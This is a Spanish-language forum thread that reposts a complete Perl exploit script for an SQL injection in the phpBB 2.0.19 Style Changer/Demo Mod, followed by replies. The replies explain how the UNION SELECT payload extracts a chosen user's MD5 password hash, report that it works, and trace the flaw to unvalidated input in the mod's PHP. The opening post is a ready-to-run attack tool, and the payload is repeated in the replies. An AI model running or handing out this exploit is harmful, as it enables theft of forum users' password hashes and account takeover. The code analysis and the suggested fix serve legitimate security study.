Páginas: [1] 2
|
 |
|
Autor
|
Tema: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection (Leído 2970 veces)
|
sikik
Desconectado
Mensajes: 666
Jo sóc jo i la meva circumstància.
|
#!/usr/bin/perl ######################################################### # _______ _______ ______ # # |______ |______ | \ # # ______| |______ |_____/ # # # #phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT # #Created By SkOd # #SED security Team # #http://www.sed-team.be # #skod.uk@gmail.com # #ISRAEL # ######################################################### #google: #"How To Be A Lammer??" ######################################################### use IO::Socket; if (@ARGV < 3){ print q{ ############################################################ # phpBB Style Changer\Viewer MOD SQL injection Exploit # # Tested on phpBB 2.0.19 # # created By SkOd. SED Security Team # ############################################################ bbstyle.pl [HOST] [PATH] [Target id] bbstyle.pl www.host.com /phpbb2/ 2 ############################################################ }; exit; } $serv = $ARGV[0]; $dir = $ARGV[1]; $id = $ARGV[2]; print "[+]Make Connection\n"; $serv =~ s/(http:\/\/)//eg; $path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*'; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $serv\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; print "[+]Connected\n"; while ($hash = <$socket>){ $hash =~ m/open(.*?)template/ && print "[+]User id: $id\n[+]Md5 Hash: $1\n"; }
# milw0rm.com [2006-02-05] fuente
|
|
|
|
« Última modificación: 07 Febrero 2006, 01:51 por Sirdarckcat »
|
En línea
|
"Social Engineer -> Because there is no patch for human stupidity". "Però qui s'ha inclinat sobre l'abisme, qui ha vist, patirà per sempre la temptació de tornar un altre cop a aquest punt negre en el qual les tenebres il·luminen(...)" Warning: shell_exec() has been disabled for security reasons at line 274.
|
|
|
Rey11
Desconectado
Mensajes: 3.221
¡¡VIVA ESPAÑA!!
|
Y aun siguen saliendo de phpbb..., el exploit es muy simple, se trata de coger un dato usando UNION y SELECT: -99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*' Aunque Sirdarckcat, me podrías explicar para que vale: -99 Y /* La sentencia en si, es asi: UNION SELECT null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM phpbb_users WHERE user_id=numero O lo que es lo mismo: Seleccioname de la tabla noleselecciones,selecciona,noleselecciones,noleselecciones,noleselecciones,noleselecciones,noleselecciones De la tabla phpbb_users DONDE elnumeroid del usuario=usuario del exploit Saludos P.D para mas info mirad el tutorial de Sirdarckcat en el foro de tutoriales sobre sql inyection
|
|
|
|
|
En línea
|
Unete a la campaña contra educación para la ciudadanía:
|
|
|
Robin
Desconectado
Mensajes: 18
|
creo que hay un error en el exploit.. solo logro conectarme pero no arroja el hash esto lo que me sale ############################################################ # phpBB Style Changer\Viewer MOD SQL injection Exploit # # Tested on phpBB 2.0.19 # # created By SkOd. SED Security Team # ############################################################ bbstyle.pl [HOST] [PATH] [Target id] bbstyle.pl www.host.com /phpbb2/ 2 ############################################################ C:\Perl\bin>perl php19.pl http://www.xxxxx.xx /xxx/ 2 C:\Perl\bin>
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Colaborador
Desconectado
Mensajes: 2.324
Peace & Love
|
Quizas no devuelve nada porque no es vulnerable o quizas pusiste un id no valido (aunque no explica si es un id de usuario,thread,etc). Aunque Sirdarckcat, me podrías explicar para que vale: Quote -99 Y Quote /* No soy sirdarckcat pero creo tener la respuesta  El -99 es para que ese query devuleva falso, por logia no va haber alguna sección de id -99. Y el /* si mal no recuerdo es para que ignore lo que continue en el query, practicamente inicia un comentario. Pero no estoy 100% seguro de esto asi que mejor esperar al sirdarckcat
|
|
|
|
|
En línea
|
|
|
|
|
Ertai
|
El /* es para iniciar un cometario en PHP.
Lo del -99 es para devolver una query falsa, supongo que es para que la primera parte no devuelva nada y engañar haciendo un UNION para que muestre los resultados, como si de la primera parte se tratara.
Por otra parte, alguien ha conseguido obtener resultados? Porque yo no.
Saludos.
|
|
|
|
|
En línea
|
Si la felicidad se comprara, entonces el dinero sería noble. void rotar_by_ref(int& a, int& b) { /* Quien dijo que no se podia sin una variable temporal? */ *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; }
|
|
|
Robin
Desconectado
Mensajes: 18
|
Quizas no devuelve nada porque no es vulnerable o quizas pusiste un id no valido (aunque no explica si es un id de usuario,thread,etc)
Ya intente con foros hasta 2.05, tambien tengo un foro de preuba con la version 2.17 y en ninguno funciona, trate on Id# o Id User. pero nada funciona
|
|
|
|
« Última modificación: 06 Febrero 2006, 19:53 por Robin »
|
En línea
|
|
|
|
Crack_X
Anti-War
Colaborador
Desconectado
Mensajes: 2.324
Peace & Love
|
Si funciona a perfeccion lo acabo de probar. Leer bien "Style Changer\Viewer MOD" el fallo concretamente esta en ese MOD, sin ese mod pues no hay Sql Injection.
|
|
|
|
|
En línea
|
|
|
|
Rey11
Desconectado
Mensajes: 3.221
¡¡VIVA ESPAÑA!!
|
Una cosa, yo no he conseguido encontrar en ninguna web de seguridad informacion sobre esta vulnerabilidad, solo he encontrado el exploit en milw0rm.com Pues será posiblemente eso, que se trata de un mod del phpbb que solo algunos foros lo tienen y por eso no va con los foros normales. Saludos 
|
|
|
|
|
En línea
|
Unete a la campaña contra educación para la ciudadanía:
|
|
|
Crack_X
Anti-War
Colaborador
Desconectado
Mensajes: 2.324
Peace & Love
|
Lo curioso es que solamenta arroja los 30 primeros caracteres y los otro 2 estan perdidos en el espacio e intente crear una cookie pero me di cuenta que el md5 no aparece en ninguna parte de la cookie.
|
|
|
|
|
En línea
|
|
|
|
Rey11
Desconectado
Mensajes: 3.221
¡¡VIVA ESPAÑA!!
|
Y como son las cookies de phpbb..., yo me acuerdo que las del smf no tenian los mismos caracteres que los del md5. Saludos 
|
|
|
|
|
En línea
|
Unete a la campaña contra educación para la ciudadanía:
|
|
|
|
Ertai
|
Quizás el Mod este le mete más seguridad, y, después de md5(), lo encripta de alguna otra forma para que de 30 carácteres, al estilo SMF.
Saludos.
|
|
|
|
|
En línea
|
Si la felicidad se comprara, entonces el dinero sería noble. void rotar_by_ref(int& a, int& b) { /* Quien dijo que no se podia sin una variable temporal? */ *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; }
|
|
|
Rey11
Desconectado
Mensajes: 3.221
¡¡VIVA ESPAÑA!!
|
Ertai, no creo, los coje directamente de la tabla, si estuvieran encriptado mediante otro algoritmo el phpbb en si no los podría leer (pienso yo). Saludos 
|
|
|
|
|
En línea
|
Unete a la campaña contra educación para la ciudadanía:
|
|
|
Crack_X
Anti-War
Colaborador
Desconectado
Mensajes: 2.324
Peace & Love
|
includes/functions.php del MOD, Linea 434: message_die(CRITICAL_ERROR, "Could not open $template_name template config file", '', __LINE__, __FILE__); Vemos que muestra el sql con un message_die(). Linea 423: $template_name = $row['template_name'] ; De hay sale la variable $template_name. Creo que en la linea 325 comienza: if ( isset($HTTP_GET_VARS[STYLE_URL]) ) { $style = urldecode( $HTTP_GET_VARS[STYLE_URL] ); if ( $theme = setup_style($style) ) Y aqui a la funcion que llama: if ( intval($style) == 0 ) { $sql = "SELECT * FROM " . THEMES_TABLE . " WHERE style_name = '$style'"; } else { $sql = "SELECT * FROM " . THEMES_TABLE . " WHERE themes_id = $style"; } Como se observa recoje la variable, le hace un urldecode() y en caso del estilo ser 0 pues hace una llamada en caso de que sea otra pues hace otra llamada. Luego mas abajo hay algunas comprobaciones que hacen varios message_die(). Creo que la solucion seria hacer la limpieza luego del urldecode() o simplemente verificar si el valor es numerico o no. Y segun veo las funciones pues seguro hay unos cuantos sql injection mas.
|
|
|
|
|
En línea
|
|
|
|
Rey11
Desconectado
Mensajes: 3.221
¡¡VIVA ESPAÑA!!
|
Ok, ya veo el fallito del programador, pero una cosa sigo sin entender. Como hace para meter las sql inyection con las magic quotes activadas. Porque para meter eso, la ' tendría que ser igual a: -99 No?? Y lo de ignorar la sentencia /* tendría que ser igual a -- Saludos 
|
|
|
|
|
En línea
|
Unete a la campaña contra educación para la ciudadanía:
|
|
|
|
sirdarckcat
|
Quizas no devuelve nada porque no es vulnerable o quizas pusiste un id no valido (aunque no explica si es un id de usuario,thread,etc). Aunque Sirdarckcat, me podrías explicar para que vale: Quote -99 Y Quote /* No soy sirdarckcat pero creo tener la respuesta  El -99 es para que ese query devuleva falso, por logia no va haber alguna sección de id -99. Y el /* si mal no recuerdo es para que ignore lo que continue en el query, practicamente inicia un comentario. Pero no estoy 100% seguro de esto asi que mejor esperar al sirdarckcat Ya te contetaron, tambien Ertai.. el -- solo es con ASP, phpBB es en.. bueno.. el exploit no necesita las magic, porque si vemos.. if ( intval($style) == 0 ) { $sql = "SELECT * FROM " . THEMES_TABLE . " WHERE style_name = '$style'"; } else { $sql = "SELECT * FROM " . THEMES_TABLE . " WHERE themes_id = $style"; } intval($style) == 0 es decir, teoricamente checa que sea numero, pero intval recoje hasta el primer caracter nan, en este caso el espacio.. -99 es numero, y no es igual a 0 asi que va a la sentencia SIN comillas. donde no necesita ponerlas.. la razon por la que escogieron el -99 como bien te contestaron, es para dar resultado falso. Saludos!!
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1] 2
|
|
|
|